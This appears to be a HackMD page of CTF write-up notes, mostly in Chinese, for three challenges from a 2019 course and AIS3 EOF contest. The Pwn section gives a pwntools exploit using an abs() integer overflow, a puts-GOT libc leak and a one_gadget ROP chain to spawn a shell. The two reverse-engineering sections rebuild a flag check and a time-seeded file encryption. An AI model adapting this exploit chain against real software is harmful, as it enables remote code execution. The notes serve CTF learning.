Try   HackMD
tags: 程安 CTF

CS 2019 Fall & AIS3 EOF 2019 - by ZR

Pwn - Impossible

  • abs(0x80000000) overflow
pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_rdi, puts_got, puts_plt, main ) pwn.sendafter("It's safe now :)\n", payload) # get libc base address here ... pwn.sendlineafter("Size: ", str(0x80000000)) payload = flat( "A" * (0x100 + 8), pop_r12_r13_r14_r15, 0, 0, 0, 0, one_gadget_offset + libc.address ) pwn.sendafter("It's safe now :)\n", payload) # get shell


Reverse - PokemonGo

  • 就 trace main.PikaCheck 的部份,然後把 unrolled loop 弄回去
#include <iostream> using namespace std; bool PikaCheck(string input) { int t0[20]; for (int i = 0; i < input.size(); i++) { int t3 = (int)input[i]; int t8 = (int)input[(i + 1) % input.size()]; t0[i] = t3 + t8; } int offset[20] = {185, 212, 172, 145, 185, 212, 172, 177, 217, 212, 204, 177, 185, 212, 204, 209, 161, 124, 172, 177}; int sum = 0; for (int i = 0; i < 20; i++) { sum += t0[i] - offset[i]; } return (sum == 0); }
  • 這邊做一個大膽的假設(通靈) : flag[i] + flag[i+1] == offset[i]
offset = [185, 212, 172, 145, 185, 212, 172, 177, 217, 212, 204, 177, 185, 212, 204, 209, 161, 124, 172, 177] alpha_numeric = [i for i in range(48, 48 + 9)] # 0 ~ 9 alpha_numeric += [i for i in range(65, 65 + 25)] # A ~ Z alpha_numeric += [i for i in range(97, 97 + 25)] # a ~ z for c in alpha_numeric: flag = [c] for i in offset: if i - flag[-1] in alpha_numeric: flag += [i - flag[-1]] else: break if len(flag) == 21: print("FLAG{", *[chr(_) for _ in flag[:20]], "}", sep="")


Reverse - H0W

  • pyc 先反編
import sys, struct from terrynini import * if len(sys.argv) != 2: print('Usage: python3 H0W.py filename') exit(0) nini3() f = open(sys.argv[1], 'rb').read() if len(f) % 4 != 0: f += (4 - len(f) % 4) * b'\x00' nini1() nini4() for i in range(0, len(f), 4): nini6(nini5(struct.unpack('<i', f[i:i + 4])[0])) for i in list(map(ord, nini2())): nini6(i) print('Complete')
  • terrynini.so裡面找niniX(),然後用 IDA 反編然後修改一下
int GitHub; FILE *JetBrains; void nini3() { JetBrains = fopen64("output.txt", "w"); } void nini1() { GitHub = time(0LL); } void nini4() { srand(GitHub); } void nini6(int a2) { fwrite(&a2, 1uLL, 4uLL, JetBrains); } char *nini2() { struct tm *v0 = gmtime((const time_t *)&GitHub); char *v3; __sprintf_chk(&v3, 1LL, 40LL, "%d%02d%02d%02d%02d%02d", ...); return v3; } long long nini5(int v5) { switch (rand() % 4) { case 0: return ichinokata(v5); case 1: return ninokata(v5); case 2: return sannokata(v5); case 3: return yonnokata(v5); } }
  • 先去output.txtsrand()的 seed
from pwn import * context.arch = "amd64" f = open("output.txt", "rb").read() data = f[-14*4:] for i in range(0, 14 * 4, 4): print(chr(u32(data[i: i + 4])), end="") # gmtime(GitHub) = 20190803052514
  • 寫 script 解密回來
    • 雷點
      • struct tm轉回time_t的時候只設tm_wday沒用,tm_mday才是重點
        ​​​​​​​​​​​​// gmtime(GitHub) = 2019 08 03 05 25 14 ​​​​​​​​​​​​v0->tm_year = (2019 - 1900); ​​​​​​​​​​​​v0->tm_mon = 8; // Sep ​​​​​​​​​​​​v0->tm_wday = 3; ​​​​​​​​​​​​v0->tm_hour = 5; ​​​​​​​​​​​​v0->tm_min = 25; ​​​​​​​​​​​​v0->tm_sec = 14; ​​​​​​​​​​​​// guess tm_mday : 4 | 11 | 17 | 25 in Sep ​​​​​​​​​​​​v0->tm_mday = 11; // correct one ​​​​​​​​​​​​GitHub = timegm(v0);
      • ror rol都要用unsigned int,不然會解到壞掉
        ​​​​​​​​​​​​u_int rol(u_int n, u_int d) { ​​​​​​​​​​​​ return (n << d) | (n >> (32 - d)); ​​​​​​​​​​​​} ​​​​​​​​​​​​u_int ror(u_int n, u_int d) { ​​​​​​​​​​​​ return (n >> d) | (n << (32 - d)); ​​​​​​​​​​​​}
  • 最後會拿到一張 png (下圖非完整圖)